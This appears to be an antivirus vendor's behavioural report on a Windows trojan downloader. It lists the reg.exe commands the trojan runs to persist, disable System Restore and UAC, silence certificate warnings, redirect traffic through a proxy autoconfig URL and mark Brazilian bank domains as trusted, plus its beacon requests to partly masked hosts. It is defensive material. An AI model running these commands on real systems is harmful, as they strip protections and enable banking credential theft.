Trojan.DownLoader7.30

Technical Information

To ensure autorun and distribution:

Modifies the following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'FacebookUpdate' = '%TEMP%\fbupdate.exe'

Malicious functions:

To complicate detection of its presence in the operating system,

blocks the following features:

System Restore (SR)
User Account Control (UAC)

Creates and executes the following:

%TEMP%\Setup.exe

Executes the following:

<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "http://ss#.###emais01.com.br/" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "http://ss#.###emais01.com.br/" /f
<SYSTEM32>\ping.exe ssh.notemais01.com.br -n 1 -l 1
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 0x00000001 /f
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
<SYSTEM32>\attrib.exe +r "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js"
<SYSTEM32>\attrib.exe -r -a -s -h "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js"
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AdvancedTab" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "Autoconfig" /t reg_dword /d 00000001 /f
<SYSTEM32>\find.exe "Internet Explorer\Main"
<SYSTEM32>\reg.exe export HKU %TEMP%\~x
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f
<SYSTEM32>\find.exe "S-1-5-21"
<SYSTEM32>\fsutil.exe file createnew "%TEMP%\thunb.db" 666"
<SYSTEM32>\getmac.exe
<SYSTEM32>\cmd.exe /c ""%APPDATA%\codigo.bat" > NUL"
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "FacebookUpdate" /t REG_SZ /d "%TEMP%\fbupdate.exe" /f
<SYSTEM32>\find.exe "Device"
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnOnIntranet" /t REG_DWORD /d "0x00000000" /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.santanderempresarial" /v "http" /t REG_DWORD /d "0x00000002" /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.santander" /v "http" /t REG_DWORD /d "0x00000002" /f
<SYSTEM32>\find.exe "TTL"
<SYSTEM32>\ping.exe www.go###e.com.br -n 1 -l 1
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.bradesco" /v "http" /t REG_DWORD /d "0x00000002" /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.bb" /v "http" /t REG_DWORD /d "0x00000002" /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap" /v "AutoDetect" /t REG_DWORD /d "0x00000000" /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.hsbc" /v "http" /t REG_DWORD /d "0x00000002" /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.itau" /v "http" /t REG_DWORD /d "0x00000002" /f

Modifies settings of Windows Internet Explorer:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonBadCertRecving' = '00000000'

Modifies file system :

Creates the following files:

%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\ok[1].php
%TEMP%\~y
%TEMP%\tmp.vbs
%TEMP%\Setup.exe
%APPDATA%\codigo.bat
%TEMP%\~x

Deletes the following files:

%APPDATA%\codigo.bat
%TEMP%\tmp.vbs

Network activity:

Connects to:

'po#.###id-confirm.com':80
'localhost':1035

TCP:

HTTP GET requests:

po#.###id-confirm.com/ok.php?a=#######################################

UDP:

DNS ASK ss#.###emais01.com.br
DNS ASK www.go###e.com.br
DNS ASK po#.###id-confirm.com

Miscellaneous:

Searches for the following windows:

ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebcheckMonitor' WindowName: ''
ClassName: '' WindowName: ''
ClassName: 'EDIT' WindowName: ''
ClassName: 'Shell_TrayWnd' WindowName: ''

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